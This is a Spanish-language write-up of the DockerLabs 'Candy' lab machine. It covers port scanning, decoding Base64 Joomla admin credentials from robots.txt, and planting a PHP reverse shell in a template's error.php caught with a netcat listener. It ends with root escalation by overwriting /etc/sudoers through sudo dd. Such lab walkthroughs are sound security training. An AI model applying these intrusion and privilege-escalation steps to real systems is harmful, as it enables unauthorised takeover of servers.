> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/candy.md).
# Candy
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Candy** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos `7z` para extraer los archivos:
```bash
7z x candy.zip
```
#### **1.3. Ejecución**
Desplegamos el entorno con el script proporcionado:
```bash
bash auto_deploy.sh candy.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Confirmamos que la máquina está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap`:
```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Resultado:**
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Escaneamos el puerto 80 para obtener más información:
```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```
**Resultados:**
* **Servidor web:** Apache httpd 2.4.58 (Ubuntu).
* **Tecnología detectada:** Joomla.
#### **2.4. Enumeración web**
Accedemos al sitio web en el puerto 80 (`http://172.17.0.2`).
#### **2.5. Obtención de credenciales**
Revisamos el archivo `robots.txt` (`http://172.17.0.2/robots.txt`).
Encontramos credenciales en Base64:
```bash
echo "c2FubHVpczEyMzQ1" | base64 -d; echo
```
**Resultados:**
* **Usuario:** `admin`.
* **Contraseña:** `sanluis12345`.
### **3. Explotación**
#### **3.1. Acceso al panel de administración**
Utilizamos las credenciales en el panel de Joomla (`http://172.17.0.2/administrator/`).
#### **3.2. Explotación de plantillas**
Modificamos la plantilla **Cassiopeia** para insertar una reverse shell en el archivo `error.php`.
1. Generamos una reverse shell con [RevShells](https://www.revshells.com/) (**PHP PentestMonkey**).
2. Editamos el archivo `error.php` en la plantilla.
3. Nos ponemos en escucha:
```bash
nc -lvnp 123
```
4. Accedemos al archivo `error.php` (`http://172.17.0.2/templates/cassiopeia/error.php`).
5. Recibimos la shell en nuestra consola.
### **4. Escalada de privilegios**
#### **4.1. Búsqueda de archivos**
Buscamos archivos del usuario `luisillo`:
```bash
find / -user luisillo 2>/dev/null
```
#### **4.2. Obtención de credenciales**
Encontramos credenciales en un archivo oculto:
```bash
cat /var/backups/hidden/otro_caramelo.txt
```
**Credenciales:**
* **Usuario:** `luisillo`.
* **Contraseña:** `luisillosuperpassword`.
#### **4.3. Acceso al usuario luisillo**
Cambiamos al usuario `luisillo`:
```bash
su luisillo
```
#### **4.4. Abuso de sudo**
Verificamos privilegios:
```bash
sudo -l
```
Abusamos de `dd` para obtener acceso como `root` ([GTFOBins](https://gtfobins.github.io/gtfobins/dd/)):
```bash
echo "luisillo ALL=(ALL:ALL) ALL" | sudo /bin/dd of=/etc/sudoers
```
Finalmente, accedemos como el usuario `root`.
